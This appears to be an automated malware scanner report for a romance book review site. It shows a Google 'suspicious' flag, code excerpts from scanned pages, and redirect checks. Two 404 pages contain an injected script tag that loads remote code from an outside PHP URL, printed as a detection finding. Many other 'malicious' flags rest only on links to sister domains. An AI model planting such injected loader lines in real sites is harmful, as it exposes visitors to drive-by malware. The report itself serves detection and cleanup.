New scan:

Malware Scanner report for romanceatheart.com

Malicious/Suspicious/Total urls checked
3/4/16
7 pages have malicious or suspicious code. See details below
Blacklists
Found
The website is marked by Google as suspicious.

The website "romanceatheart.com" is probably hacked and losing its visitors. You need to take action as soon as possible to fix security issues.
Malicious Redirects
OK
Malicious/Hidden/Total iFrames
0/0/0
Deface / Content modification
OK

Free periodic scanning and alerting: setup
(requires eVuln badge or a link to eVuln.com)

Malware & Hack Repair

  • Malware Removal
  • Blacklists Removal
  • Reason Eliminating
  • 1 Month Hack Insurance

More details

Website Hack Insurance

  • Files & DB Monitoring
  • Daily Backups
  • Malware & Hack Detection
  • Unlimited Hack Repairs

More details

Safe Browsing / Blacklists

Query: http://www.google.com/safebrowsing/diagnostic?site=romanceatheart.com

Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.

Scanned pages/files

RequestServer responseStatus
http://romanceatheart.com/
200 OK
Content-Length: 81236
Content-Type: text/html
suspicious
Page code contains blacklisted domain: rahpubs.com

...[2268 bytes skipped]...
br/>src="http://romanceatheart.com/js/468ranb.js"></script>
<br><br>
</p>
<p style="text-align:center">
<img hspace="7" vspace="9" alt="romance at heart divider"
src="http://romanceatheart.com/images/pinebar.gif" width="600" height="40"
border="0">
<br><br>
</p>
<p style="text-align:center">
<br><br>
<a href="http://rahpubs.com/"><img alt="Romance At Heart Publications"
src="http://romanceatheart.com/images/universalrahpubs.jpg" width="468"
height="60" border="0"></a>
<br><br>
<span style="text-align:center">
<img style="margin-left:15%" alt="romance industry chat room and bulletin
board" align="left" valign="top" hspace="40"
src="http://romanceatheart.com/imageadds/logorahmag.jpg" width="250"
height="100" border="0">
&nbs
...[1698 bytes skipped]...

http://romanceatheart.com/sabrarotate.js
404 Not Found
Content-Length: 1894
Content-Type: text/html
suspicious
Suspicious code found

<script type="text/javascript" src="http://healthyscott.com/mznx2qgk.php?id=15063846"></script>

http://rahpubs.com/bottomrahp.js
200 OK
Content-Length: 1481
Content-Type: text/javascript
malicious
Malicious code found. Script contains blacklisted domain: romanceatheart.com

...[1386 bytes skipped]...
bsp;<a href=\"paranormal.htm\">Paranormal</a>&nbsp;&nbsp;<a href=\"regency.htm\">Regency</a><br><a href=\"romanticsuspense.htm\">Romantic Suspense</a>&nbsp;&nbsp;<a href=\"scifi.htm\">Sci-Fi</a>&nbsp;&nbsp;<a href=\"timetravel.htm\">Timetravel</a>&nbsp;&nbsp;<a href=\"comingsoon.htm\">Coming Soon</a><br><a href=\"http://romanceatheart.com/\">Romance at Heart &#45; Romantic Novel News &#45; Book Reviews &#45; Author Interviews</a></p>");

Decoded script:

...[1307 bytes skipped]...
p;nbsp;&nbsp;<a href="paranormal.htm">Paranormal</a>&nbsp;&nbsp;<a href="regency.htm">Regency</a><br><a href="romanticsuspense.htm">Romantic Suspense</a>&nbsp;&nbsp;<a href="scifi.htm">Sci-Fi</a>&nbsp;&nbsp;<a href="timetravel.htm">Timetravel</a>&nbsp;&nbsp;<a href="comingsoon.htm">Coming Soon</a><br><a href="http://romanceatheart.com/">Romance at Heart &#45; Romantic Novel News &#45; Book Reviews &#45; Author Interviews</a></p>

http://romanceatheart.com/bottommenu.js
200 OK
Content-Length: 2940
Content-Type: text/javascript
malicious
Malicious code found. Script contains blacklisted domain: rahpubs.com

...[2545 bytes skipped]...
views.html">Rose&acute;s Quick Reviews<a>|');
dmz.write('|<a href="http://romanceatheart.com/eroticreviews.html">Erotic Book Reviews<a>|<br>');
dmz.write('|<a href="http://romanceatheart.com/geninfo-author.html">Info for Authors and Promotions Reps<a>|<br>');
dmz.write('|<a href="http://romancentravel.com/">Romance N Travel<a>|');
dmz.write('|<a href="http://rahpubs.com/">Romance At Heart Publications<a>|<br>');
dmz.write('|<b>Romance At Heart Publications Electronic Book Stores&#58;</b>|<br>');
dmz.write('<span style="font-family:Garamond,Serif">');
dmz.write('|<a href="http://store.rahpubs.com/">Lavender Corner eBooks</a>|');
dmz.write('|<a href="http://store.rahpubs.com/index.php">RAHP Electronic Books</a>|');
dmz.write('|<a href="http://rahpubs.com/RAHP-Am
...[77 bytes skipped]...

Decoded script:

...[1958 bytes skipped]...
mp; Bookshelf<a>|<br>|<a href="http://romanceatheart.com/quickreviews.html">Rose&acute;s Quick Reviews<a>||<a href="http://romanceatheart.com/eroticreviews.html">Erotic Book Reviews<a>|<br>|<a href="http://romanceatheart.com/geninfo-author.html">Info for Authors and Promotions Reps<a>|<br>|<a href="http://romancentravel.com/">Romance N Travel<a>||<a href="http://rahpubs.com/">Romance At Heart Publications<a>|<br>|<b>Romance At Heart Publications Electronic Book Stores&#58;</b>|<br><span style="font-family:Garamond,Serif">|<a href="http://store.rahpubs.com/">Lavender Corner eBooks</a>||<a href="http://store.rahpubs.com/index.php">RAHP Electronic Books</a>||<a href="http://rahpubs.com/RAHP-Amazon.htm">RAHP-Amazon eBooks</a>|</span>

http://romancentravel.rahpubs.com/bottommenu.js
200 OK
Content-Length: 2271
Content-Type: text/javascript
malicious
Malicious code found. Script contains blacklisted domain: romanceatheart.com

...[751 bytes skipped]...
s.com/aff/atclodgingred.htm">Hotel</a>&nbsp;&nbsp;<a class="nav" href="http://romancentravel.rahpubs.com/aff/atccarsred.htm">Car</a>&nbsp;&nbsp;<a class="nav" href="http://romancentravel.rahpubs.com/aff/atcftred.htm">Track Flight</a>&nbsp;&nbsp;<a class="nav" href="http://romancentravel.rahpubs.com/aff/atcafsred.htm">Specials</a><br><a class="nav" href="http://romanceatheart.com/">Romance At Heart Magazine</a>&nbsp;&nbsp;<a class="nav" href="http://rahpubs.com/">Romance At Heart Publications</a>&nbsp;&nbsp;<a class="nav" href="http://store.rahpubs.com/">Romance eBook Store</a><br><a class="nav" href="http://romancenroses.com/">Romance N Roses</a>&nbsp;&nbsp;<a class="nav" href="http://romancentravel.com/">Romance N Travel</a>&nbsp;&nbsp;<a class="nav" href=
...[1112 bytes skipped]...

Decoded script:

...[722 bytes skipped]...
s.com/aff/atclodgingred.htm">Hotel</a>&nbsp;&nbsp;<a class="nav" href="http://romancentravel.rahpubs.com/aff/atccarsred.htm">Car</a>&nbsp;&nbsp;<a class="nav" href="http://romancentravel.rahpubs.com/aff/atcftred.htm">Track Flight</a>&nbsp;&nbsp;<a class="nav" href="http://romancentravel.rahpubs.com/aff/atcafsred.htm">Specials</a><br><a class="nav" href="http://romanceatheart.com/">Romance At Heart Magazine</a>&nbsp;&nbsp;<a class="nav" href="http://rahpubs.com/">Romance At Heart Publications</a>&nbsp;&nbsp;<a class="nav" href="http://store.rahpubs.com/">Romance eBook Store</a><br><a class="nav" href="http://romancenroses.com/">Romance N Roses</a>&nbsp;&nbsp;<a class="nav" href="http://romancentravel.com/">Romance N Travel</a>&nbsp;&nbsp;<a class="nav" href=
...[1114 bytes skipped]...

http://romanceatheart.com/test404page.js
404 Not Found
Content-Length: 1894
Content-Type: text/html
suspicious
Suspicious code found

<script type="text/javascript" src="http://healthyscott.com/mznx2qgk.php?id=15063846"></script>

http://romanceatheart.com/scottrotate.js
200 OK
Content-Length: 632
Content-Type: text/javascript
clean
http://romanceatheart.com/amirarotate.js
200 OK
Content-Length: 559
Content-Type: text/javascript
clean
http://romanceatheart.com/js/coverone.js
200 OK
Content-Length: 798
Content-Type: text/javascript
suspicious
Page code contains blacklisted domain: rahpubs.com

...[73 bytes skipped]...
s++;FMess[ins] = "<a href='http://www.slcarpenter.net/'><img src='http://romanceatheart.com/images/review/NeedYouNow.jpg' width='125' height='191' border='0'></a>";
ins++;FMess[ins] = "<a href='http://www.felicityheaton.co.uk/herdarkangel/'><img src='http://romanceatheart.com/images/review/herdarkangel-heaton.jpg' width='125' height='191' border='0'></a>";
ins++;FMess[ins] = "<a href='http://rahpubs.com/catalog/product_info.php?products_id=75'><img src='http://romanceatheart.com/images/review/darkangel.jpg' width='125' height='191' border='0'></a>";

function FlashId()
{
setTimeout('FlashId()',11000);
document.getElementById('coverone').innerHTML = FMess[tt];
tt = (tt < (FMess.length -1)) ? tt + 1 : 0;
}

FlashId();

http://search.live.com/bootstrap.js?market=en-US&ServId=SearchBox&ServId=SearchBoxWeb&Callback=WLSearchBoxScriptReady
HTTP/1.1 301 Moved Permanently
Cache-Control: max-age=0, no-cache, no-store
Connection: close
Date: Thu, 25 Dec 2014 15:58:57 GMT
Pragma: no-cache
Location: http://www.bing.com/bootstrap.js?market=en-US&ServId=SearchBox&ServId=SearchBoxWeb&Callback=WLSearchBoxScriptReady
Content-Length: 0
Expires: Thu, 25 Dec 2014 15:58:57 GMT
P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND"
Set-Cookie: _HOP=I=1&TS=1419523137; domain=.live.com; path=/
clean
http://www.bing.com/bootstrap.js?market=en-us&servid=searchbox&servid=searchboxweb&callback=wlsearchboxscriptready
404 Not Found
Content-Length: 24002
Content-Type: text/html
clean
http://www.bing.com/?FORM=HDRHME&pq=
200 OK
Content-Length: 57722
Content-Type: text/html
clean
http://www.bing.com/?scope=web&FORM=Z9LH
200 OK
Content-Length: 57790
Content-Type: text/html
clean
http://www.bing.com/?scope=images&FORM=Z9LH1
200 OK
Content-Length: 57807
Content-Type: text/html
clean
http://www.bing.com/?scope=video&FORM=Z9LH2
200 OK
Content-Length: 57802
Content-Type: text/html
clean
http://www.bing.com/news?FORM=Z9LH3
200 OK
Content-Length: 94370
Content-Type: text/html
clean

Malicious Redirects

First query (normal visit):
GET / HTTP/1.1
Host: romanceatheart.com

Result:
HTTP/1.1 200 OK
Connection: close
Date: Thu, 25 Dec 2014 15:58:52 GMT
Accept-Ranges: bytes
Server: Apache
Vary: Accept-Encoding
Content-Length: 81236
Content-Type: text/html
Last-Modified: Mon, 15 Dec 2014 01:26:39 GMT

...81236 bytes of data.
Second query (visit from search engine):
GET / HTTP/1.1
Host: romanceatheart.com
Referer: http://www.google.com/search?q=romanceatheart.com

Result:
The result is similar to the first query. There are no suspicious redirects found.